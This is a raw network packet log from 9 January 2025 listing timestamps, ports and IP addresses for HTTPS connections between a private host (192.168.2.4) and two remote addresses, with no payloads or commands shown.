Jan 9, 2025 14:41:19.445804119 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:19.445818901 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:19.447340012 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:19.472532988 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:19.472532988 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:19.565341949 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:19.567539930 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:19.574749947 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:19.574780941 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:19.574810028 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:19.575309992 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:19.583153963 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:19.678596973 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:19.685596943 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:19.685817957 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:19.685862064 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:19.691337109 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:19.782366991 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:19.810286045 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:19.811858892 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:19.837255955 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:19.839128971 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:19.907031059 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:19.910161972 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:19.914022923 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:19.914036036 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:19.914043903 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:20.022476912 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:20.022476912 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:20.051342964 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:20.099709034 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:20.226457119 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:20.228835106 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:20.273401976 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:20.299093962 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:20.326724052 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:20.400444984 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:20.400464058 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:20.400479078 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:20.400494099 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:20.428102970 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:20.446836948 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:20.555929899 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:20.566382885 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:20.566414118 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:20.566423893 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:20.567143917 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:20.574338913 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:20.669877052 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:20.678244114 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:20.678256035 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:20.678328037 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:20.678563118 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:20.687154055 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:20.690426111 CET	58186	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:20.690566063 CET	58186	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:20.782248020 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:20.787254095 CET	443	58186	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:20.789449930 CET	443	58186	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:20.790038109 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:20.790047884 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:20.790122986 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:20.790750027 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:20.791277885 CET	443	58186	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:20.791501999 CET	58186	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:20.798975945 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:20.894659996 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:20.903206110 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:20.903218031 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:20.903229952 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:20.904763937 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:20.910125017 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:21.005506992 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:21.012221098 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:21.012233019 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:21.012242079 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:21.025623083 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:21.050951958 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:21.051843882 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:21.143862009 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:21.148541927 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:21.156778097 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:21.156826019 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:21.156891108 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:21.157144070 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:21.180334091 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:21.275574923 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:21.282046080 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:21.282061100 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:21.282072067 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:21.282510042 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:21.290522099 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:21.386858940 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:21.394579887 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:21.394635916 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:21.394666910 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:21.394942045 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:21.405772924 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:21.555480003 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:21.569475889 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:21.569490910 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:21.569499969 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:21.570384026 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:21.583777905 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:21.683521986 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:21.690650940 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:21.690666914 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:21.690682888 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:21.691028118 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:21.707977057 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:21.751698017 CET	58186	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:21.752501011 CET	58186	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:21.753231049 CET	57685	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:21.753853083 CET	57685	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:21.804089069 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:21.811484098 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:21.811646938 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:21.811671972 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:21.811839104 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:21.827449083 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:21.848258972 CET	443	58186	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:21.848696947 CET	443	58186	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:21.849123001 CET	443	57685	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:21.849323988 CET	443	58186	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:21.850178003 CET	443	57685	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:21.850194931 CET	443	58186	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:21.850344896 CET	443	57685	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:21.850467920 CET	58186	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:21.850555897 CET	57685	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:21.925688982 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:21.950377941 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:21.950541019 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:21.950571060 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:21.951340914 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:21.989332914 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:22.015338898 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:22.075790882 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:22.110510111 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:22.118390083 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:22.118607998 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:22.118638992 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:22.119338036 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:22.141520023 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:22.265722036 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:22.279870033 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:22.285362959 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:22.285375118 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:22.285831928 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:22.285862923 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:22.293709040 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:22.390929937 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:22.396943092 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:22.396955013 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:22.397047997 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:22.397746086 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:22.409873962 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:22.506910086 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:22.514698982 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:22.514761925 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:22.514811039 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:22.515336990 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:22.555341005 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:22.623332977 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:22.653162003 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:22.762236118 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:22.795996904 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:22.796139002 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:22.796150923 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:22.864731073 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:22.887813091 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:22.952033043 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:22.952498913 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:22.991816044 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:22.992223024 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:22.992415905 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:23.018842936 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:23.018999100 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:23.019010067 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:23.019134045 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:23.019340992 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:23.019340992 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:23.028182030 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:23.123406887 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:23.130593061 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:23.130604982 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:23.130798101 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:23.130860090 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:23.139610052 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:23.239413023 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:23.247641087 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:23.247653961 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:23.247663021 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:23.247937918 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:23.254818916 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:23.350027084 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:23.359112024 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:23.359132051 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:23.359144926 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:23.359972954 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:23.369390965 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:23.464474916 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:23.472449064 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:23.472516060 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:23.472526073 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:23.472873926 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:23.510780096 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:23.519340038 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:23.591252089 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:23.614371061 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:23.621927977 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:23.621942997 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:23.621959925 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:23.622226954 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:23.632744074 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:23.743037939 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:23.743056059 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:23.743132114 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:23.743175983 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:23.743413925 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:23.749952078 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:23.845336914 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:23.853599072 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:23.853621006 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:23.853634119 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:23.853646040 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:23.855335951 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:23.860436916 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:23.955780029 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:23.961857080 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:23.961894035 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:23.961924076 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:23.962084055 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:23.967859983 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:24.072205067 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:24.094681978 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:24.094695091 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:24.094703913 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:24.095108032 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:24.103178978 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:24.198200941 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:24.205127001 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:24.205137014 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:24.205250025 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:24.205562115 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:24.215765953 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:24.310972929 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:24.317670107 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:24.317683935 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:24.317694902 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:24.317965984 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:24.324728012 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:24.420862913 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:24.446214914 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:24.446229935 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:24.446402073 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:24.446584940 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:24.453636885 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:24.549566984 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:24.556796074 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:24.556833982 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:24.556864023 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:24.557111025 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:24.575339079 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:24.673891068 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:24.682492018 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:24.682637930 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:24.682653904 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:24.682887077 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:24.682974100 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:24.682974100 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:24.688986063 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:24.796200991 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:24.802928925 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:24.802941084 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:24.802949905 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:24.803200960 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:24.810739040 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:24.907190084 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:24.915532112 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:24.915730000 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:24.915746927 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:24.916161060 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:24.916161060 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:24.916248083 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:24.932941914 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:25.041723967 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:25.048883915 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:25.048898935 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:25.048916101 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:25.049757957 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:25.061928034 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:25.157396078 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:25.165994883 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:25.166023016 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:25.166035891 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:25.188971043 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:25.252233982 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:25.311049938 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:25.311731100 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:25.342343092 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:25.348182917 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:25.407851934 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:25.408358097 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:25.414105892 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:25.414117098 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:25.414125919 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:25.414887905 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:25.414916039 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:25.425103903 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:25.533509970 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:25.534034014 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:25.540975094 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:25.541163921 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:25.541177034 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:25.541323900 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:25.541589022 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:25.541589022 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:25.547966003 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:25.645394087 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:25.657788992 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:25.657825947 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:25.657840967 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:25.659342051 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:25.667530060 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:25.772314072 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:25.790146112 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:25.790291071 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:25.790304899 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:25.790685892 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:25.797712088 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:25.898118973 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:25.909079075 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:25.909096956 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:25.909112930 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:25.909559965 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:25.917154074 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:26.012315035 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:26.019861937 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:26.019984007 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:26.019998074 CET	443	54056	184.28.190.59	192.168.2.4
